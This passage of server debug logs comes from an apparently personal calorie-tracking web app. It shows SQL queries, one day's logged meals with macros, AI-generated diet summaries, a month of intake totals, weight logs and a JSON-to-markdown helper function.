    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T10:10:13.559Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day shows a decent effort towards fueling your workouts and recovery, with consistent hydration. However, the meal composition could be more balanced to better support muscle development and fat loss goals. Focusing on nutrient-dense foods and ensuring adequate protein intake throughout the day will be key for continued progress.',
    bad_points: [
      'The main meal appears to be heavily reliant on carbohydrates from roti.',
      'Protein intake might be suboptimal for muscle development goals.',
      'Limited variety in vegetables and protein sources.'
    ],
    good_points: [
      'Consistent hydration throughout the day.',
      'Inclusion of whey protein post-workout.',
      'Incorporation of nuts for healthy fats.'
    ],
    suggestions: [
      'Increase the portion of protein sources in your main meals.',
      'Incorporate more non-starchy vegetables to enhance fiber and nutrient intake.',
      'Consider adding a protein source to your evening meal.',
      'Ensure consistent spacing of meals to support energy levels and nutrient absorption.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T10:10:13.563Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T10:10:13.565Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T10:10:13.565Z server-connect:app Executing action step select
2025-12-17T10:10:13.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T10:10:13.568Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  },
  {
    id: 427,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T04:40:11.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-17T10:10:13.568Z server-connect:app Executing action step setvalue
2025-12-17T10:10:13.568Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T10:10:13.568Z server-connect:output var_total: 1136
2025-12-17T10:10:13.568Z server-connect:app Executing action step setvalue
2025-12-17T10:10:13.568Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T10:10:13.569Z server-connect:output var_consumed: 47
2025-12-17T10:10:13.569Z server-connect:app Executing action step setvalue
2025-12-17T10:10:13.569Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T10:10:13.569Z server-connect:output var_deficit: 1264
2025-12-17T10:10:13.569Z server-connect:app Executing action step custom
2025-12-17T10:10:13.569Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T10:10:13.571Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1136',
    surplus_or_deficit: '1264',
    status_flag: 2
  }
]
2025-12-17T10:10:14.125Z server-connect:app Executing action step identify
2025-12-17T10:10:14.125Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:14.125Z server-connect:output identity: 1
2025-12-17T10:10:21.015Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-17T10:10:21.015Z server-connect:app Executing action step identify
2025-12-17T10:10:21.015Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:21.016Z server-connect:output identity: 1
2025-12-17T10:10:21.016Z server-connect:app Executing action step restrict
2025-12-17T10:10:21.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:10:21.016Z server-connect:output restrict: undefined
2025-12-17T10:10:21.017Z server-connect:app Executing action step select
2025-12-17T10:10:21.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-17T10:10:21.019Z server-connect:output items_consumed_today: [
  {
    id: 417,
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)'
  },
  {
    id: 418,
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)'
  },
  {
    id: 419,
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)'
  },
  {
    id: 420,
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)'
  },
  {
    id: 421,
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)'
  },
  {
    id: 422,
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)'
  },
  {
    id: 423,
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3'
  },
  {
    id: 424,
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 425,
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)'
  },
  {
    id: 426,
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres'
  },
  {
    id: 427,
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices'
  }
]
2025-12-17T10:10:21.019Z server-connect:app Executing action step paged
2025-12-17T10:10:21.019Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-17T10:10:21.024Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 13,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-17T10:10:21.024Z server-connect:app Executing action step run
2025-12-17T10:10:21.025Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T10:10:21.026Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '| 420 | Banana | 89 | 1 | 23 | 0 | 1 (approx 100g edible portion, medium size) |\n' +
  '| 421 | Appe (Paniyaram) homemade | 100 | 4 | 20 | 2 | 2 pieces (approx 70-80g) |\n' +
  '| 422 | Milk Coffee | 75 | 5 | 7 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 423 | Roti | 300 | 9 | 63 | 3 | 3 |\n' +
  '| 424 | Aloo Patta Gobi Sabzi | 150 | 4 | 18 | 8 | 1 serving (approx 150g) |\n' +
  '| 425 | Boondi Raita | 120 | 6 | 10 | 6 | 1 katori (approx 150g) |\n' +
  '| 426 | Water | 0 | 0 | 0 | 0 | 1.5 litres |\n' +
  '| 427 | Papaya | 100 | 2 | 25 | 1 | 4 slices |\n' +
  '\n'
2025-12-17T10:10:21.026Z server-connect:app Executing action step run
2025-12-17T10:10:21.026Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
